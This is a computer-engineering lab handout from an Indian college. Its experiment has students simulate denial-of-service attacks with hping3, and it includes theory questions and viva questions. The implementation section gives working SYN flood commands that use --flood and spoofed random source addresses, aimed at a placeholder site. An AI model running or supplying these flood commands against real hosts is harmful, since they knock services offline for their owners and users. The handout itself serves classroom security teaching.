Aldel Education Trust's
St. John College of Engineering and Management, Palghar
(A Christian Religious Minority Institution)
Approved by AICTE and DTE, Affiliated to University of Mumbai/MSBTE
St. John Technical Campus, Vevoor, Manor Road, Palghar (E), Dist. Palghar, Maharashtra-401404
NAAC Accredited with Grade 'A'
DEPARTMENT OF COMPUTER ENGINEERING

Lab code: CSL602 **Class:** T.E./COMP/A2 & A3

Course name: Cryptography & System Security Lab

EXPERIMENT 7

Aim: Simulate DOS attack using Hping, hping3 and other tools [LO4].

Theory:

Following points needs to be included:

1. What is DOS attack and explain classical DOS attacks? *[Hint: bandwidth attack, logic attacks, protocol attacks, and unintentional DOS attack]*
2. What is Hping?

   Hint: *Hping is one of the de-facto tools for security auditing and testing of firewalls and networks, and was used to exploit the Idle Scan scanning technique now implemented in the Nmap port scanner. Hping3 is a free packet generator and analyzer for the TCP/IP protocol.*
3. Write the meanings of the following commands:
   a) -c
   b) -d
   c) -S
   d) -w
   e) -p
   f) --flood
   g) --rand-source
   h) -V
   i) -P
   j) -U

   Hint: *refer* ***man hping3*** *in the terminal*

Implementation:

1. **DOS attack using hping3 with random source IP**

   Command: hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source www.hping3testsite.com
2. **SYN Flood DOS attacks**
   a) **Simple SYN flood – DoS using HPING3**

   Command: hping3 -S --flood -V www.hping3testsite.com

   b) **Simple SYN flood with spoofed IP – DoS using HPING3**

   Command: hping3 -S -P -U --flood -V --rand-source www.hping3testsite.com

Output:

Execute the commands and take respective **terminal** and **web browser** screenshots and give a brief explanation for the same

Conclusion:

Viva Question:

1. What is hping command?
2. What is the difference between DOS and DDOS?

Faculty In-charge: Mr. Vivian Lobo